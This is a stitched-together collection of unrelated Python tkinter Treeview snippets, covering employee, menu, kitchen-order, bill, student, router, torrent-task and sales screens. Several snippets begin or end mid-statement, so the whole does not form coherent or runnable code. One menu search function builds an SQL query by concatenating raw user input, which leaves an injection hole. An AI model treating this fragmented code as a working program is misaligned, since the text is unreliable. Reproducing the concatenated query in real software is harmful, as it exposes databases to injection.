"Add", bg = "green", height = "1", width = "7",command = add_employee, font = ("Times new Roman", 14 , "bold")).place(x = 10, y = 10) btn2 = Button(f3, text = "Update", bg = "green", height = "1", width = "7", command = update, font = ("Times new Roman", 14 , "bold")).place(x = 105, y = 10) btn3 = Button(f3, text = "Delete", bg = "green", height = "1", width = "7", command = delete, font = ("Times new Roman", 14 , "bold")).place(x = 205, y = 10) btn4 = Button(f3, text = "Clear", bg = "green", height = "1", width = "7", command = clear, font = ("Times new Roman", 14 , "bold")).place(x = 305, y = 10) btn5 = Button(f3, text = "Add Photo Sample", bg = "yellow", height = "2", width = "34",command = add_photo, font = ("Times new Roman", 14 , "bold")).place(x = 10, y = 60) f3.place(x = 20, y = 550) ################################################################################### Large Frame f4 = Frame(first, height = 600, width = 900, bg = "gray", borderwidth = "3", relief = SUNKEN) f4.place(x = 440, y = 90) l1 = Label(first, text = "Search By:",font = ("times new roman", 18 ,"bold"),bg = "gray", fg = "white").place(x = 460, y = 100 ) c1 = Combobox(first, textvariable = search_by, values = ["eid","fname","post"], state = "readonly", width = "25").place(x = 580, y = 109) E7 = Entry(first, textvariable = search_text, width = "25", font = ("times new Roman",10) ).place(x = 780, y = 109) btn7 = Button(first, text = "Search ", height = "1", width = "16", command = search_data, font = ("Times new Roman", 13 , "bold")).place(x = 960, y = 100 ) btn8 = Button(first, text = "Show All", height = "1", width = "16", command = show_data, font = ("Times new Roman", 13 , "bold")).place(x = 1150, y = 100) ################################################################################## Table frame f5 = Frame(f4, bg = "green", borderwidth = "2", relief = SUNKEN) f5.place(x = 20, y = 45, height = 550, width = 855 ) scroll_x =Scrollbar(f5, orient = HORIZONTAL) scroll_y = Scrollbar(f5, orient = VERTICAL) table1 = Treeview(f5, columns = ("eid","post", "fname","gender","contact.no","address","DOJ"), xscrollcommand = scroll_x.set, yscrollcommand = scroll_y.set) scroll_x.pack(side = BOTTOM, fill = X ) scroll_y.pack(side = RIGHT, fill = Y) scroll_x.config(command = table1.xview) scroll_y.config(command = table1.yview) table1.heading("eid", text ="Employee ID") table1.heading('post', text = "Post") table1.heading("fname", text= "Full Name") table1.heading("gender",text = "Gender") table1.heading("contact.no", text = "Contact_No") table1.heading("address", text = " Email Address") table1.heading("DOJ", text= "Date Of Join") table1['show'] = 'headings' table1.column("eid", width = 119) table1.column("post", width = 119) table1.column("fname", width = 119) table1.column("gender", width = 119) table1.column("contact.no", width = 119) table1.column("address", width = 119) table1.column("DOJ", width = 119) table1.pack(fill = BOTH, expand = 1) table1.bind("<ButtonRelease-1>", focus_data) display() first.mainloop()
class entermenu: def reset(self): for i in self.treeview.get_children(): self.treeview.delete(i) def searchfun(self): search = self.menuText.get() cur = con.cursor() query = 'select * from menu where name like "' + search + '%"' cur.execute(query) self.data = cur.fetchall() self.insertData() def insertData(self): self.reset() for i in range(0, len(self.data)): self.treeview.insert("", i, values=self.data[i]) # ''''''''FRAME1'''' def __init__(self): self.window = Tk() self.window.config(bg="lightcyan", highlightthickness=8, highlightbackground="navy", highlightcolor="navy") self.frame1 = PanedWindow(self.window) self.enter = Label(self.frame1, text="ENTER MENU", bg="lightcyan", fg="red", font=("Harlow Solid Italic", 40, "italic", "bold")) self.menuText = Entry(self.frame1) self.searchbttn = Button(self.frame1, text="Search", command=self.searchfun) self.enter.grid(row=0, column=0) self.menuText.grid(row=0, column=1) self.searchbttn.grid(row=0, column=2) # ''''''''FRAME 2'''' self.frame2 = PanedWindow(self.window) self.treeview = Treeview(self.frame2, columns=("menuid", "name", "description", "price")) self.treeview.heading("menuid", text="MENU ID") self.treeview.heading("name", text="NAME") self.treeview.heading("description", text="DESCRIPTION") self.treeview.heading("price", text="PRICE") # for table color style = Style() style.configure("Treeview.Heading", font=("Script MT Bold", 16)) style.configure("Treeview", font=("calibri", 13)) self.treeview["show"] = "headings" self.treeview.pack() self.frame1.pack() self.frame2.pack() self.window.mainloop() #obj=entermenu()
class ShowBillDialog: def __init__(self, parent): self.parent = parent self.data = Database() self.listBill = self.data.getBillList() self.dialog = Toplevel(parent) self.dialog.title("Bảng thống kê Hóa đơn") self.dialog.geometry("1000x400") self.drawDialog(self.dialog) def drawDialog(self, parent): layoutTree = Frame(parent) self.drawTreeBill(layoutTree) for bill in self.listBill: self.addBillIntoTree(bill) layoutTree.pack(side=TOP, fill=BOTH, expand=True) def drawTreeBill(self, parent): listAttribute = [ "Mặt hàng", "Loại hàng", "ID", "Số lượng xuất", "Thành giá", "Người tạo" ] yScrollTree = Scrollbar(parent, orient=VERTICAL) xScrollTree = Scrollbar(parent, orient=HORIZONTAL) # Create Delete, Add and Edit Button # layoutButton = Frame(parent) # btnAddBill = Button(layoutButton, text = "+", fg = "green", command = self.onAddBill) # btnDelBill = Button(layoutButton, text = "-", fg = "red", command = self.onDeleteBill) # btnEditBill = Button(layoutButton, text = "Edit", fg = "blue") # btnAddBill.pack(side = LEFT) # btnDelBill.pack(side = LEFT) # btnEditBill.pack(side = LEFT) # layoutButton.pack(side = TOP, anchor = "w") # Create Tree View self.treeBill = Treeview(parent, column=listAttribute, yscrollcommand=yScrollTree.set, xscrollcommand=xScrollTree.set) # self.treeBill.bind(sequence="<Double-Button-1>",func=self.onEditBill) self.treeBill.column(column="#0", width=100, minwidth=100) for nameAttr in listAttribute: self.treeBill.heading(column=nameAttr, text=nameAttr) self.treeBill.column(column=nameAttr, width=100, minwidth=100) #Create Scrollbar for tree view yScrollTree.pack(side=RIGHT, fill=Y) xScrollTree.pack(side=BOTTOM, fill=X) self.treeBill.pack(side=TOP, anchor="w", fill=BOTH, expand=True) yScrollTree.config(command=self.treeBill.yview) xScrollTree.config(command=self.treeBill.xview) def addBillIntoTree(self, billInput): bill = billInput if not self.treeBill.exists(bill.CreatedDate): self.treeBill.insert("", "end", str(bill.CreatedDate), text=bill.CreatedDate, tags="parents") self.treeBill.item(bill.CreatedDate, open=True) self.treeBill.insert(bill.CreatedDate, END, bill.CreatedTime, text=bill.CreatedTime, tags="childs") self.treeBill.set(bill.CreatedTime, "Mặt hàng", bill.name) self.treeBill.set(bill.CreatedTime, "Loại hàng", bill.type) self.treeBill.set(bill.CreatedTime, "ID", bill.id) self.treeBill.set(bill.CreatedTime, "Số lượng xuất", bill.amount) self.treeBill.set(bill.CreatedTime, "Thành giá", int(bill.price)) self.treeBill.set(bill.CreatedTime, "Người tạo", bill.CreatedUser)
class kitchenScreen1: def reset(self): for i in self.treeview.get_children(): self.treeview.delete(i) def fullDataFetchQuery(self): cur = con.cursor() query = 'Select * from bill where status="PENDING"' cur.execute(query) self.data = cur.fetchall() def insertData(self): self.reset() self.fullDataFetchQuery() if self.data != None: for i in range(0, len(self.data)): self.treeview.insert("", i, values=self.data[i]) else: showinfo("", "Status is Done!") def viewDetail(self): mixer.init() mixer.music.load('audio/buttonPushTrim.mp3') mixer.music.play() print("View Details KitchenScreen 2") print(self.treeview.item(self.treeview.focus())['values']) print(len(self.treeview.item(self.treeview.focus())['values'])) if self.treeview.item(self.treeview.focus())['values'] == "": showinfo("Message", "Select Item First!") else: self.treeClick = self.treeview.item( self.treeview.focus())['values'] self.billid = self.treeClick[0] print(self.treeClick) print("I am In MAIN") self.root.destroy() print("KitchenScreen 2") self.root.destroy() obj = kitchenScreen2(self.root, self.billid) def __init__(self, parent): self.root = Toplevel() self.root.transient(parent) self.root.parent = parent #self.root=Tk() self.root.title("Kitchen Screen 1") width_value = self.root.winfo_screenwidth() height_value = self.root.winfo_screenheight() self.root.geometry("%dx%d+0+0" % (width_value, height_value)) self.root.config(bg="#89105f", highlightthickness=6, highlightbackground="#89105f", highlightcolor="#fff2f2") self.root.resizable(0, 0) #self.root.attributes("-fullscreen", True) '''MAINBAR DETAILS''' self.mainBar = Menu(self.root) self.root.config(menu=self.mainBar) self.mainmenu = Menu(self.mainBar, tearoff=0) self.mainBar.add_command(label='EXIT', command=lambda: self.root.destroy()) self.root.iconbitmap("chef.ico") '''CANVAS''' self.canvas = Canvas(self.root, width=300, height=200, bg='#89105f', relief="raised") self.canvas.pack(expand=YES, fill=BOTH) gif1 = PhotoImage(file="splashScreen/foodItem.png") self.canvas.create_image(50, 10, image=gif1, anchor=NW) '''LABEL FRAME''' self.frame0 = PanedWindow(self.canvas) # self.frame0.config(bg="#89105f") treeLabel = Label(self.frame0, text="Kitchen Screen", width=120) treeLabel.pack(pady=20, padx=20) '''Treeview Frame''' self.frame1 = PanedWindow(self.canvas) self.treeview = Treeview( self.frame1, columns=("billid", "typeoforder", "address", "modeofpayment", "cashCollected", "cashReturned", "mobileno", "netamount", "gst", "status", "date")) self.treeview.heading("billid", text="BILL ID") self.treeview.heading("typeoforder", text="TYPE OF ORDER") self.treeview.heading("address", text="ADDRESS") self.treeview.heading("modeofpayment", text="MODE") self.treeview.heading("cashCollected", text="COLLECTED") self.treeview.heading("cashReturned", text="RETURNED") self.treeview.heading("mobileno", text="MOBILE NUMBER") self.treeview.heading("netamount", text="NET AMOUNT") self.treeview.heading("gst", text="GST") self.treeview.heading("status", text="STATUS") self.treeview.heading("date", text="DATE") self.treeview["show"] = "headings" ttk.Style().configure(".", font=('serif', 8), foreground="red", background="black", activebackground="green") '''TREEVIEW SCROLL ''' style = ttk.Style() scroll = Scrollbar(self.frame1, orient="vertical", command=self.treeview.yview) scroll.pack(side=RIGHT, fill=Y) self.treeview.configure(yscrollcommand=scroll.set) '''TREEVIEW STYLING''' style.configure("Treeview.Heading", font=("Script MT Bold italic", 8), yscrollcommand=scroll.set, background="black", foreground="#9c004f") style.configure("Treeview", bg='#89105f', rowheight=35, fg="#9c004f", fieldbackground="red") self.treeview.column("billid", width=130) self.treeview.column("typeoforder", width=130) self.treeview.column("address", width=130) self.treeview.column("modeofpayment", width=120) self.treeview.column("cashCollected", width=120) self.treeview.column("cashReturned", width=120) self.treeview.column("mobileno", width=120) self.treeview.column("netamount", width=120) self.treeview.column("gst", width=120) self.treeview.column("status", width=120) self.treeview.column("date", width=140) self.frame2 = PanedWindow(self.canvas) self.addDetailBtn = Button(self.frame2, text="View Details", command=self.viewDetail, bg="white", fg="#89105f", width=15, font=("Harlow Solid", 20, "bold")) self.addDetailBtn.pack() self.insertData() self.frame0.pack() self.frame0.config(bg='#89105f') self.canvas.pack() self.frame1.pack() self.frame1.config(bg='#89105f') self.frame2.pack(pady=10) self.frame2.config(bg='white') self.treeview.pack() self.root.mainloop()
alphabet_table.grid(row=2, columnspan=2, padx=10, pady=5) alphabet_frame.grid(row=1, column=0, padx=10, pady=10) ############################################################ ############################################################ appearances_frame = LabelFrame(window, text="Таблиця ймовірностей") appearances_table_columns = ("Буква", "Ймовірність") appearances_table = Treeview(appearances_frame, columns=appearances_table_columns, show="headings") for col in appearances_table_columns: appearances_table.heading(col, text=col) appearances_table.pack(padx=10, pady=5) def cleanup_appearances_frame(): appearances_table.delete(*appearances_table.get_children()) def fill_appearances_table(): global ALPHABET_MAP cleanup_appearances_frame() message = message_entry.get("1.0", tk.END).upper().rstrip("\n") appearances_map = generate_appearances(message, APPEARANCES) sorted_alphabet = sorted(set(message), key=lambda letter: appearances_map[letter], reverse=True)
studenmttable.heading('Address', text='Address') studenmttable.heading('Gender', text='Gender') studenmttable.heading('D.O.B', text='D.O.B') studenmttable.heading('Added Date', text='Added Date') studenmttable.heading('Added Time', text='Added Time') studenmttable['show'] = 'headings' studenmttable.column('Id', width=100) studenmttable.column('Name', width=200) studenmttable.column('Mobile No', width=200) studenmttable.column('Email', width=300) studenmttable.column('Address', width=200) studenmttable.column('Gender', width=100) studenmttable.column('D.O.B', width=150) studenmttable.column('Added Date', width=150) studenmttable.column('Added Time', width=150) studenmttable.pack(fill=BOTH, expand=1) ################################################################################################################ Slider ss = 'Welcome To Student Management System' count = 0 text = '' ################################## SliderLabel = Label(root, text=ss, font=('ubuntu', 30, 'italic bold'), relief=RIDGE, borderwidth=4, width=30, bg='teal') SliderLabel.place(x=360, y=3) IntroLabelTick()
flash_label.grid(row=1, column=2) flash_entry = Entry(frame_fields, textvariable=flash_text) flash_entry.grid(row=1, column=3) frame_router = Frame(app) frame_router.grid(row=4, column=0, columnspan=4, rowspan=6, pady=20, padx=20) columns = ['id', 'hostname', 'Brand', 'RAM', 'Flash'] router_tree_view = Treeview(frame_router, columns=columns, show='headings') router_tree_view.column('id', width=30) for col in columns[1:]: router_tree_view.column(col, width=120) router_tree_view.heading(col, text=col) router_tree_view.bind('<<TreeviewSelect>>', select_router) router_tree_view.pack(side='left', fill='y') # КНОПКИ frame_btns = Frame(app) frame_btns.grid(row=3, column=0, pady=30) add_btn = Button(frame_btns, text="Add router", width=12, command=add_router) add_btn.grid(row=0, column=1) remove_btn = Button(frame_btns, text="Remove router", width=12, command=delete_router) remove_btn.grid(row=0, column=2) update_btn = Button(frame_btns,
yscrollcommand=scrollBar.set) # 设置每列宽度和对齐方式 tree.column('c1', width=120, anchor='w') tree.column('c2', width=120, anchor='e') tree.column('c3', width=120, anchor='e') tree.column('c4', width=120, anchor='w') # 设置每列表头标题文本 tree.heading('c1', text='已匹配') tree.heading('c2', text='栈') tree.heading('c3', text='剩余输入串') tree.heading('c4', text='动作') tree.pack(side=tkinter.LEFT, fill=tkinter.Y) # Treeview组件与垂直滚动条结合 scrollBar.config(command=tree.yview) # 定义并绑定Treeview组件的鼠标单击事件 def treeviewClick(event): pass tree.bind('<Button-1>', treeviewClick) step = grammar.step # 插入演示数据
class Window: def fillTree(self,path, parent, list): for file in os.listdir(path): abspath = os.path.join(path,file) color = "" treelist = None for mini in list: if abspath in mini: color = 'red' treelist = mini else: for lk in mini: if abspath in lk: color = 'purple' child = None if color == 'red': child = self.tree.insert(parent,'end',text=file,open=False,tags=(abspath,'red',str(treelist)),) elif color == 'purple': child = self.tree.insert(parent,'end',text=file,open=False,tags=(abspath,'purple')) else: child = self.tree.insert(parent,'end',text=file,open=False,tags=(abspath,'white')) if(os.path.isdir(abspath)): self.tree.insert(child,'end',text='',open=False) def __init__(self,list,dirlist): self.root = Tk() self.root.wm_title("Duplicate_Files") self.min = None self.list = list self.root.geometry('600x600+0+0') self.tree = Treeview(self.root ,height=15) self.tree.pack(expand='yes',fill='both') self.tree.heading('#0',text="files") self.tree.tag_configure('red',foreground='red') self.tree.tag_configure('purple',foreground='#cc00ff') self.tree.bind("<Double-1>",self.onDoubleClick) self.tree.bind("<<TreeviewOpen>>",self.onOpen) self.tree.bind("<<TreeviewClose>>",self.onClose) for path in dirlist: branch = self.tree.insert('','end',text=path,open=True,tags=(path,'white')) self.fillTree(path,branch,list) self.root.mainloop() def onDoubleClick(self,event): item = self.tree.selection()[0] print ("clicked" + str(self.tree.item(item,'tags')[0])) if str(self.tree.item(item,'tags')[1]) == "red": list_of_files = ast.literal_eval(str(self.tree.item(item,'tags')[2])) if self.min != None: if self.min.mini.winfo_exists(): self.min.mini.destroy() self.min = MiniWindow(self.root,list_of_files) def onOpen(self,event): item = self.tree.selection()[0] if self.tree.parent(item) != '': if len(self.tree.get_children(item))>0: self.tree.delete(self.tree.get_children(item)) abspath = str(self.tree.item(item,'tags')[0]) if(os.path.isdir(abspath)): self.fillTree(abspath, item,self.list) def onClose(self,event): item = self.tree.selection()[0] if self.tree.parent(item) != '': if len(self.tree.get_children(item))>0: self.tree.delete(self.tree.get_children(item))
class AutoUploadPage(tk.Frame): # 继承Frame类 def __init__(self, parent, controller): tk.Frame.__init__(self, parent) self.controller = controller # 存储任务列表 self.task_dict = {} self.task_list = [] self.onduty_list = [] self.qb = '' self.is_rss_mode = False self.t = 'Recorde_rss' self.refresh_t = 'Recorde_task_list' # 布局组件的定义 self.var_link = StringVar() self.entry_link = tk.Entry(self, textvariable=self.var_link, width=58, borderwidth=3, font=('Helvetica', '12')) self.entry_link.bind('<Return>', self.enter_add) self.button_add = tk.Button(self, text='Add', font=('Helvetica', '12'), width=6, command=self.add_task_by_click) self.frame_m = Frame(self) self.scrollBar = Scrollbar(self.frame_m) self.tree = Treeview(self.frame_m, columns=('c1', 'c2', 'c3'), show="headings", yscrollcommand=self.scrollBar.set) self.btnDelete = tk.Button(self, text='删除任务', command=self.delete_task) self.btnRefresh = tk.Button(self, text='备份任务', command=self.bak_task) self.rsshandler = get_rss_info.RssLinkHandler() self.config_dl = self.controller.config_dl self.create_page() def create_page(self): # 添加种子部分 # LEFT self.entry_link.place(x=30, y=30, width=600, height=30) self.var_link.set('请输入种子详情链接:') self.entry_link.bind('<FocusIn>', self.on_entry_click) self.entry_link.bind('<FocusOut>', self.on_focus_out) self.entry_link.config(fg='grey') self.button_add.place(x=640, y=28, width=80, height=30) # 管理种子部分 self.frame_m.place(x=28, y=80, width=700, height=450) # 在Frame容器中创建滚动条 self.scrollBar.pack(side=RIGHT, fill=Y) # 在Frame容器中使用Treeview组件实现表格功能 # Treeview组件,三列,显示表头,带垂直滚动条 # 设置每列宽度和对齐方式 self.tree.column('c1', width=400, anchor='w') self.tree.column('c2', width=140, anchor='center') self.tree.column('c3', width=120, anchor='center') # 设置每列表头标题文本 self.tree.heading( 'c1', text='种子链接', command=lambda: self.treeview_sort_column(self.tree, 'c1', False)) self.tree.heading( 'c2', text='添加时间', command=lambda: self.treeview_sort_column(self.tree, 'c2', False)) self.tree.heading( 'c3', text='状态', command=lambda: self.treeview_sort_column(self.tree, 'c3', False)) # 左对齐,纵向填充 self.tree.pack(side=LEFT, fill=Y) self.tree.bind('<Double-1>', self.treeviewclick) # Treeview组件与垂直滚动条结合 self.scrollBar.config(command=self.tree.yview) # 删除按钮 self.btnDelete.place(x=160, y=550, width=120, height=30) # 刷新按钮 self.btnRefresh.place(x=460, y=550, width=120, height=30) def on_entry_click(self, event): """function that gets called whenever entry is clicked""" if self.var_link.get() == '请输入种子详情链接:': self.var_link.set('') # delete all the text in the entry self.entry_link.config(fg='black') def on_focus_out(self, event): if self.var_link.get() == '': self.var_link.set('请输入种子详情链接:') self.entry_link.config(fg='grey') # 添加下载任务 def add_task_by_click(self): detail_link = self.var_link.get() self.add_task_by_link(detail_link) # 重置界面 self.var_link.set('') self.entry_link.config(fg='grey') def all_time_refresh(self): while True: if len(self.onduty_list) == 0: break else: time.sleep(2) self.refresh_task() def enter_add(self, event): self.add_task_by_click() # 删除选中项的按钮 def delete_task(self): if not self.tree.selection(): tk.messagebox.showerror('抱歉', '你还没有选择,不能删除') return for item in self.tree.selection(): detail_link = self.tree.item(item, 'values')[0] statu = self.tree.item(item, 'values')[2] if statu not in ['发布成功', '任务丢失']: chosen_task = self.task_dict[detail_link] hash_info = chosen_task.get_hash_info() if chosen_task.get_statu() != '发布成功' and hash_info: # 判断有没有下载完 torrent = self.qb.get_torrent(infohash=hash_info) if torrent['completion_date'] == -1: self.qb.torrents_delete(hashes=hash_info) try: commen_component.stop_thread(chosen_task) except ValueError: pass except SystemError: pass self.task_dict.pop(detail_link) self.task_list.remove(detail_link) if len(self.onduty_list) == 0: try: commen_component.stop_thread(self.refresh_t) except ValueError: pass except SystemError: pass if detail_link in self.onduty_list: self.onduty_list.remove(detail_link) self.tree.delete(item) # 更新所有种子的下载状态 def refresh_task(self): task_all = self.tree.get_children() for item in task_all: value_link = self.tree.item(item, 'values')[0] value_addtime = self.tree.item(item, 'values')[1] value_statu = self.tree.item(item, 'values')[2] if value_link in self.task_dict.keys(): value_statu_now = self.task_dict[value_link].get_statu() if not value_statu == value_statu_now: self.tree.item(item, values=(value_link, value_addtime, value_statu_now)) if value_statu_now == '发布成功' or value_statu_now == '任务丢失': try: commen_component.stop_thread( self.task_dict[value_link]) except ValueError: pass except SystemError: pass self.onduty_list.remove(value_link) self.task_dict.pop(value_link) if len(self.onduty_list) == 0: try: commen_component.stop_thread(self.refresh_t) except ValueError: pass except SystemError: pass def treeviewclick(self, event): selected_item = self.tree.selection()[0] link = self.tree.item(selected_item, 'values')[0] webbrowser.open(link) def treeview_sort_column(self, tv, col, reverse): # Treeview、列名、排列方式 ll = [(tv.set(k, col), k) for k in tv.get_children('')] ll.sort(reverse=reverse) # 排序方式 for index, (val, k) in enumerate(ll): # 根据排序后索引移动 tv.move(k, '', index) tv.heading(col, command=lambda: self.treeview_sort_column( tv, col, not reverse)) # 重写标题,使之成为再点倒序的标题 # 添加RSS任务 def add_rss_task(self): while True: self.rsshandler.change_refresh_time(self.config_dl['refresh_time']) self.rsshandler.now_time = '' entries_list = self.rsshandler.get_entries( self.config_dl['Max_Size']) for item in entries_list: detail_link = item['link'] if detail_link in self.task_list: continue add_time = datetime.datetime.now().strftime( '%Y/%m/%d %H:%M:%S') values = [detail_link, add_time, '准备下载'] self.tree.insert('', 'end', values=values) new_task = autoseed_methods.AutoSeed(self.qb, item, self.config_dl) new_task.start() self.task_dict[detail_link] = new_task self.task_list.append(detail_link) self.onduty_list.append(detail_link) if len(self.onduty_list) == 1: self.refresh_t = threading.Thread( target=self.all_time_refresh, args=()) self.refresh_t.start() if int(self.config_dl['refresh_time']) == 0: sleep(600) else: sleep(int(self.config_dl['refresh_time']) * 60) # 重新开启RSS def reopen_rss(self): try: commen_component.stop_thread(self.t) except ValueError: pass except SystemError: pass self.t = threading.Thread(target=self.add_rss_task, args=()) self.t.start() self.is_rss_mode = True tk.messagebox.showinfo('提示', 'RSS模式已经重启') def init_qb(self): self.qb = self.controller.qb self.get_bak_task() self.check_rss_mode() # 检查RSS是否开启 def check_rss_mode(self): if self.config_dl['rss_open']: if not self.is_rss_mode: self.t = threading.Thread(target=self.add_rss_task, args=()) self.t.start() self.is_rss_mode = True # tk.messagebox.showinfo('提示', 'RSS模式已经开启') return 'opened' else: return 'opened_already' else: if self.is_rss_mode: try: commen_component.stop_thread(self.t) except ValueError: pass except SystemError: pass # tk.messagebox.showinfo('提示', 'RSS模式已经关闭') self.is_rss_mode = False return 'closed' else: return 'closed_already' # 备份任务 def bak_task(self): self.refresh_task() bak_task = [] # 以列表的形式保存未完成的种子 task_all = self.tree.get_children() for item in task_all: value_link = self.tree.item(item, 'values')[0] value_statu = self.tree.item(item, 'values')[2] if value_statu not in ['发布成功', '任务丢失']: task = self.task_dict[value_link] bak_task.append(task.get_origin_url()) try: commen_component.stop_thread(task) except ValueError: pass except SystemError: pass with open(USER_BAK_TASK_PATH, "wb") as bak_file: # with open with语句可以自动关闭资源 pickle.dump(bak_task, bak_file) def get_bak_task(self): try: with open(USER_BAK_TASK_PATH, "rb") as bak_file: bak_task = pickle.load(bak_file) if not bak_task: return for item in bak_task: if isinstance(item, dict): link = item['link'] else: link = item add_time = datetime.datetime.now().strftime( '%Y/%m/%d %H:%M:%S') values = [link, add_time, '准备下载'] self.tree.insert('', 'end', values=values) new_task = autoseed_methods.AutoSeed( self.qb, item, self.config_dl) self.task_dict[link] = new_task self.onduty_list.append(link) self.task_list.append(link) new_task.start() if len(self.onduty_list) == 1: self.refresh_t = threading.Thread( target=self.all_time_refresh, args=()) self.refresh_t.start() except FileNotFoundError: pass # 添加任务 def add_task_by_link(self, string, *args): detail_link = string # 禁止空或者误操作 if not detail_link or detail_link == '请输入种子详情链接:': return # 禁止重复添加的链接 if detail_link in self.task_list: messagebox.showerror('错误', '重复添加的链接!') return # 禁止不支持的网站 support_sign = commen_component.find_origin_site(detail_link) if support_sign == 0: messagebox.showerror('错误', '不支持的网站!') return torrent_id = commen_component.get_id(detail_link) if torrent_id == -1: messagebox.showerror('错误', '不是种子详情链接!') return # 显示任务到列表 add_time = datetime.datetime.now().strftime( '%Y-%m-%d %H:%M:%S').replace('-', '/') values = [detail_link, add_time, '准备下载'] # 添加到尾部 self.tree.insert('', 'end', values=values) # 添加到首部 # self.tree.insert('', 0, values=values) # 添加任务到后台并开启 # 构造元祖实现远程判断 if args: detail_link_tuple = (args[0], detail_link) else: detail_link_tuple = detail_link new_task = autoseed_methods.AutoSeed(self.qb, detail_link_tuple, self.config_dl) new_task.start() self.task_dict[detail_link] = new_task self.task_list.append(detail_link) self.onduty_list.append(detail_link) if len(self.onduty_list) == 1: self.refresh_t = threading.Thread(target=self.all_time_refresh, args=()) self.refresh_t.start() return '任务已经添加' # 远程获取任务状态 def get_statu_by_link(self, link): task_all = self.tree.get_children() for item in task_all: value_link = self.tree.item(item, 'values')[0] if value_link == link: value_statu = self.tree.item(item, 'values')[2] return value_statu return 'no result' # 远程取消任务 def cancle_task_by_link(self, detail_link): find = False task_all = self.tree.get_children() for item in task_all: link = self.tree.item(item, 'values')[0] if link == detail_link: self.tree.delete(item) find = True break if find: chosen_task = self.task_dict[detail_link] hash_info = chosen_task.get_hash_info() if chosen_task.get_statu() != '发布成功' and hash_info: self.qb.torrents_delete(hashes=hash_info) else: return '任务还未开始或已经完成' try: commen_component.stop_thread(chosen_task) except ValueError: return '未知错误' except SystemError: return '未知错误' self.task_list.remove(detail_link) self.task_dict.pop(detail_link) if detail_link in self.onduty_list: self.onduty_list.remove(detail_link) return '取消成功' else: return '没找到任务' # 关掉RSS def close_rss(self): self.config_dl['rss_open'] = False self.check_rss_mode()
class TKsheet(object): # tkinter里面: # root = Tk()创建程序窗口; # frame = Frame(root)创建第一级区域; # import ttk tabControl = ttk.Notebook(frameX)可以在frame下创建多标签窗口! # 在notebook下可以建立下一级的frame:self.tab1 = ttk.Frame(tabControl),这又是frame了哟! # 建立表格:一般是在界面里面嵌入显示,所以这里限定是在frame下嵌入(root下应该行,懒得去试咯~) # 传入一个载体,最好是frame! def __init__(self, frame=None, file_path=""): # super(MainSerialTool, self).__init__(master) self.frame = frame self.default_style() self.filepath = file_path # Button-1: 左键,绑定左键事件 self.tree.bind('<Double-Button-1>', self.sheetrefresh) def default_style(self): # sheet size: default self.set_size() # 滚动条 self.scrollBar = Scrollbar(self.frame) self.scrollBar.pack(side=tk.LEFT, fill=tk.Y) # Treeview组件,6列,显示表头,带垂直滚动条 self.tree = Treeview(self.frame, columns=('c1', 'c2', 'c3', 'c4', 'c5', 'c6', 'c7', 'c8'), show="headings", yscrollcommand=self.scrollBar.set, ) # 设置每列宽度和对齐方式 self.tree.column('c1', width=95, anchor='w') # n, ne, e, se, s, sw, w, nw, or center指的是列里面的数据靠西边,而不是headings self.tree.column('c2', width=80, anchor='center') self.tree.column('c3', width=70, anchor='center') self.tree.column('c4', width=95, anchor='center') self.tree.column('c5', width=95, anchor='center') self.tree.column('c6', width=95, anchor='center') self.tree.column('c7', width=95, anchor='center') self.tree.column('c8', width=75, anchor='center') # 设置每列表头标题文本 # datetime,TestResult,InitTime,SceneVdd12,SceneVdd18,SleepVdd12,SleepVdd18,MEM+4K self.tree.heading('c1', text='测试时间') self.tree.heading('c2', text='||TestResult||') self.tree.heading('c3', text='||InitTime||') self.tree.heading('c4', text='||SceneVdd12||') self.tree.heading('c5', text='||SceneVdd18||') self.tree.heading('c6', text='||SleepVdd12||') self.tree.heading('c7', text='||SleepVdd18||') self.tree.heading('c8', text='||MEM+4K||') self.tree.pack(side=tk.LEFT, fill=tk.Y) # Treeview组件与垂直滚动条结合 self.scrollBar.config(command=self.tree.yview) def set_size(self, shiftX=1, shiftY=1, sheet_width=800, sheet_height=500): # x,y是偏移量,离左上角的偏移像素 self.frame.place(x=shiftX, y=shiftY, width=sheet_width, height=sheet_height) def sheetrefresh(self, event): # 定义并绑定Treeview组件的鼠标事件 # 双击刷新sheet:读取当天的数据文件,抽取写入即可,双击一次则重新写入一次。 # # 文件不存在,我啥也不干就好了嘛!小罗罗就要被动,不要总想搞些什么大新闻(从我这个上帝视角来看的话!) if not os.path.exists(self.filepath): return # 要是存在的话,我就读文件,然后显示出来 with open(self.filepath, "rb") as sheet: reader = csv.reader(sheet, dialect='excel') # csv方式刚好读出来的就是数组格式 for i, row in enumerate(reader): # 第一行是列名称,排除掉 if i == 0: pass # 其他行就写进表格里面 self.add_newline(row) print(event.x, event.y) def add_newline(self, position="end", insert_data=[]): # "" 参数为空则表示新建一个top level的行。行内嵌套先不研究,太费时间。 # 第二个参数:"0"表示从行首插入; "end"从行尾插入; "i":从行i处插入; # insert_data=[time.strftime('[18/%m/%d %H:%M] ', time.localtime(time.time()))] * 8 if len(insert_data) == 0: return try: self.tree.insert("", "end", values=insert_data) except Exception as e: print("sheet insert line fail.\r\n", e) def test_demo(self): # 插入演示数据 # time.strftime('[%Y-%m-%d %H:%M:%S] ',time.localtime(time.time())) for i in range(3): self.tree.insert('', i, values=[str(i)] * 8)
class hyGUI(Frame): def __init__(self): Frame.__init__(self) self.master.title("Hockey team Data") self.master.maxsize(1400, 1000) ## Maximum Frame size self.pack() self._treeview = Treeview(self) ## initialize the treeview ## Writing label on gui and creating a data insert box to get user input when clicking a button self.gameLocationLabel = Label(self, text = "Enter game location") self.gameLocationLabel.pack() self.gameLocationVar = StringVar() self.gameLocationEntry = Entry(self, textvariable = self.gameLocationVar, width=30) self.gameLocationEntry.pack() self.gameDateLabel = Label(self, text = "Enter game date") self.gameDateLabel.pack() self.gameDateVar = StringVar() self.gameDateEntry = Entry(self, textvariable = self.gameDateVar, width = 30) self.gameDateEntry.pack() self.hatSoldLabel = Label(self, text = "Enter how many hats were sold") self.hatSoldLabel.pack() self.hatSoldVar = StringVar() self.hatSoldEntry = Entry(self, textvariable = self.hatSoldVar, width = 30) self.hatSoldEntry.pack() self.posterSoldLabel = Label(self, text = "Enter how many poster were sold") self.posterSoldLabel.pack() self.posterSoldVar = StringVar() self.posterSoldEntry = Entry(self, textvariable = self.posterSoldVar, width = 30) self.posterSoldEntry.pack() self.jerseySoldLabel = Label(self, text = "Enter how many jersey were sold") self.jerseySoldLabel.pack() self.jerseySoldVar = StringVar() self.jerseySoldEntry = Entry(self, textvariable = self.jerseySoldVar, width = 30) self.jerseySoldEntry.pack() self.hockeyStickSoldLabel = Label(self, text = "Enter how many hockey stick were sold") self.hockeyStickSoldLabel.pack() self.hockeyStickSoldVar = 